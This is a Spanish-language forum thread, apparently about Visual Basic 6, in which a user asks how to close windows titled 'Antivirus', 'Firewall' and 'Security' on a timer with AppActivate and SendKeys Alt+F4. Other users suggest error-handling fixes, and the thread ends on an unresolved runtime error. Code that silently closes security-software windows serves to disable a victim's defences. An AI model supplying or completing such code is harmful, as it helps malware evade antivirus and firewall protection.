Como cerrar varias ventanas

[DRIGIN]

wenas
aguien sabe como seria para cerrar varias ventanas activas , sin saber si estan abiertas o no por ejemplo:

Código:

timer1_timer()
AppActivate "Antivirus" or "Firewall"
SendKeys "%{F4}", True
end sub

pero este code no me vale ya k si no ai abierta una ventana llamada antivirus da error y no sige hacia la de firewall.Prove tmb con:

Código:

AppActivate "Antivirus"
SendKeys "%{F4}", True
AppActivate "Firewall"
SendKeys "%{F4}", True

pero asi tampoco me vale ya k sino ai primero una k se llame antivirus ps el programa ya no sige, y yo lo keria acer eske cierre cualkiera de las 2 sin k tenga k estar abierta la anterior.
salu2

[47]

on error resume next???

47

[DRIGIN]

eso no vale porke al darle error en :
AppActivate "Antivirus"
pasaria a la sigiente linea k seria:
SendKeys "%{F4}", True
y por lo tanto se enpezarian a cerrar todas las ventanas k ai activas sean cual sean.
Tambien intente con esto:

Código:

Private Sub Timer1_Timer()
On Error GoTo a:
AppActivate "Antivirus"
SendKeys "%{F4}", True
Exit Sub
a:
On Error GoTo b:
AppActivate "Firewall"
SendKeys "%{F4}", True
Exit Sub
b:
On Error GoTo c:
AppActivate "Security"
SendKeys "%{F4}", True
Exit Sub
c:
end sub

pero me da un error y no se kes lo ke paso ya k asi supongo k deveria funcionar...

[crypto136]

deberias poner que error te sale, y pues que te parece si lo pones como bucle osea al final, el menu "c:" ponlo al principio, no se si me hago entender??

[xinlu]

Código:

On Error Goto Mecachis

'Tu code

Mecachis:
    Exit Sub

Así  en caso de error sales. Espero que te sirva de algo.

[DRIGIN]

Código:

Private Sub Timer1_Timer()
On Error GoTo a:
AppActivate "Antivirus"
SendKeys "%{F4}", True
Exit Sub
a:
On Error GoTo b:
AppActivate "Firewall"
SendKeys "%{F4}", True
Exit Sub
b:
On Error GoTo c:
AppActivate "Security"
SendKeys "%{F4}", True
Exit Sub
c:
end sub

Me da el siguiente error:
error '5' en tiempo de ejecucion:
llamada a procedimiento o argumento no valido
en la linea:

Código:

AppActivate "Firewall"

es decir , siempre me da error en el segundo appactivate.